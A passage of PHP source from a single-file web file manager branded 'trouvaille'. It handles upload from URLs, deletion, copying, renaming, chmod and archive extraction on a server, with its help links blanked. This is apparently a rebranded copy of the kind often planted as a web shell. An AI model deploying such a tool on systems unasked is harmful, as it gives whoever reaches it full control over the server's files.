$err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?> <?php print_external('css-dropzone'); ?> <div class="path"> <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>"> <div class="card-header"> <ul class="nav nav-tabs card-header-tabs"> <li class="nav-item"> <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a> </li> <li class="nav-item"> <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a> </li> </ul> </div> <div class="card-body"> <p class="card-text"> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a> <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?> </p> <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>"> <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <div class="fallback"> <input name="file" type="file" multiple/> </div> </form> <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader"> <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action=""> <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true"> <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button> <div class="lds-facebook"><div></div><div></div><div></div></div> </form> <div id="js-url-upload__list" class="col-9 mt-3"></div> </div> </div> </div> </div> <?php print_external('js-dropzone'); ?> <script> Dropzone.options.fileUploader = { chunking: true, chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>, forceChunking: true, retryChunks: true, retryChunksLimit: 3, parallelUploads: 1, parallelChunkUploads: false, timeout: 120000, maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>", acceptedFiles : "<?php echo getUploadExt() ?>", init: function () { this.on("sending", function (file, xhr, formData) { let _path = (file.fullPath) ? file.fullPath : file.name; document.getElementById("fullpath").value = _path; xhr.ontimeout = (function() { toast('Error: Server Timeout'); }); }).on("success", function (res) { try { let _response = JSON.parse(res.xhr.response); if(_response.status == "error") { toast(_response.info); } } catch (e) { toast("Error: Invalid JSON response"); } }).on("error", function(file, response) { toast(response); }); } } </script> <?php fm_show_footer(); exit; } if (isset($_POST['copy']) and !FM_READONLY) { $copy_files = isset($_POST['file']) ? $_POST['file'] : null; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg(lng('Nothing selected'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <div class="card <?php echo fm_get_theme(); ?>"> <div class="card-header"> <h6><?php echo lng('Copying') ?></h6> </div> <div class="card-body"> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL; } ?> <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p> <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label> <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>"> </p> <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>©=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>©=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b> </p> <p><i><?php echo lng('Select folder') ?></i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>©=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li> <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>©=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } if (isset($_GET['settings']) and !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang, $lang_list; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header d-flex justify-content-between"> <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span> <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)"> <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true"> <div class="form-group row"> <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label> <div class="col-sm-5"> <select class="form-select" id="js-language" name="js-language"> <?php function getSelected($l) { global $lang; return ($lang == $l) ? 'selected' : ''; } foreach ($lang_list as $k => $v) { echo "<option value='$k' ".getSelected($k).">$v</option>"; } ?> </select> </div> </div> <div class="mt-3 mb-3 row "> <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label> <div class="col-sm-5"> <select class="form-select w-100" id="js-3-0" name="js-theme-3"> <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option> <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option> </select> </div> </div> <div class="mb-3 row"> <div class="col-sm-10"> <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button> </div> </div> </form> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['help'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header d-flex justify-content-between"> <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span> <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <div class="row"> <div class="col-xs-12 col-sm-6"> <p><h3><a href="." target="_blank" class="app-v-title"> trouvaille <?php echo VERSION; ?></a></h3></p> </div> <div class="col-xs-12 col-sm-6"> <div class="card"> <ul class="list-group list-group-flush"> <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li> <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li> <?php if(!FM_READONLY) { ?> <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li> <?php } ?> </ul> </div> </div> </div> <div class="row js-new-pwd hidden mt-2"> <div class="col-12"> <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action=""> <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true"> <div class="form-group mb-2"> <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label> </div> <div class="form-group mx-sm-3 mb-2"> <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label> <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required> </div> <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button> </form> <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea> </div> </div> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['view'])) { $file = $_GET['view']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize_raw = fm_get_size($file_path); $filesize = fm_get_filesize($filesize_raw); $is_zip = false; $is_gzip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $is_onlineViewer = false; $view_title = 'File'; $filenames = false; // for zip $content = ''; // for text $online_viewer = strtolower(FM_DOC_VIEWER); if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){ $is_onlineViewer = true; } elseif ($ext == 'zip' || $ext == 'tar') { $is_zip = true; 